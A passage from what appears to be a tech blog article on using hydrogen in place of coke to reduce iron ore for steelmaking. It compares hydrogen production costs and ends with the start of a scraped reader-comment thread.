, which is iron with a relatively large (3.8 – 4.7% typically) percentage of carbon, as well as some further impurities. The carbon content of steel is generally between 0.002% and 2.14%, requiring a few more processing steps of the pig iron to produce the various grades of steel.
Where hydrogen comes into play is in this
redox
step, where instead of carbon, hydrogen can be used as a redox agent. This process is detailed in a
2019 literature review paper
in
Steel Research International
by Daniel Spreitzer and Johannes Schenk.
What’s interesting about the use of hydrogen for the iron oxide redox reaction is that it has better diffusion behavior than the carbon monoxide (CO) that is the redox agent in a coke-fueled blast furnace. This means that even with worse porosity in the iron ore, hydrogen should be more effective at stripping away oxygen as it can diffuse more readily into the ore. The same low viscosity that makes hydrogen an ideal cooling gas is also useful here.
As with all large-scale production processes, the devil is in the details. Since CO and H
2
are not the same molecule, and thus will behave differently in the conditions of a blast furnace, there is nothing intrinsically more complicated about using hydrogen as a redox agent with iron oxide, and so-called ‘green steel’ manufactured using hydrogen rather than coke are already available on the market, albeit in limited quantity.
Can’t Get Enough
Due to the rapid increase in demand for hydrogen from not just the fertilizer industry but also steel and other industries, more and lower-carbon sources of hydrogen are needed. Here the
economics
behind the sources of the hydrogen become an important factor, with hydrogen from natural gas via SMR costing around $1/kg, with hydrogen from an electrolyser run by only renewable energy costing well over $4.40/kg. For
nuclear sources
(electrolyser or thermolysis), levelized costs range between $0.69 – $4.80 depending on the reactor type, making this a viable green hydrogen option alongside methane pyrolysis.
Whichever options we end up picking in the end, it’s hard to deny the importance of hydrogen to our civilization, and the need to produce much more of it. Whether we’ll one day have so much of it that we can use it for transportation and the production of e-fuels remains to be seen, currently industrial applications such as the shift of the steel industry from coke to (low-carbon) hydrogen. Here we can see for example Norwegian Blastr
investing in a new steel plant
in Finland that will use an on-site hydrogen plant powered by local hydropower.
With the
price of hydrogen
having to be below $2/kg to make ‘green steel’ viable if it wants to compete with conventional steel, the search for cheap hydrogen will intensify, along with its demand. This does make one wonder why there is talk of ‘switching to a hydrogen economy’ when it seems we have been living in one for at least a century now, even if it wasn’t quite the one from the glossy marketing brochures. | 61 | 7 | [
{
"comment_id": "6638971",
"author": "fallous",
"timestamp": "2023-05-04T18:03:02",
"content": "How exactly are they avoiding the problems of hydrogen embrittlement in welding gases using a hydrogen mix and intended for steel?",
"parent_id": null,
"depth": 1,
"replies": [
{
... | 1,760,372,309.484163 |
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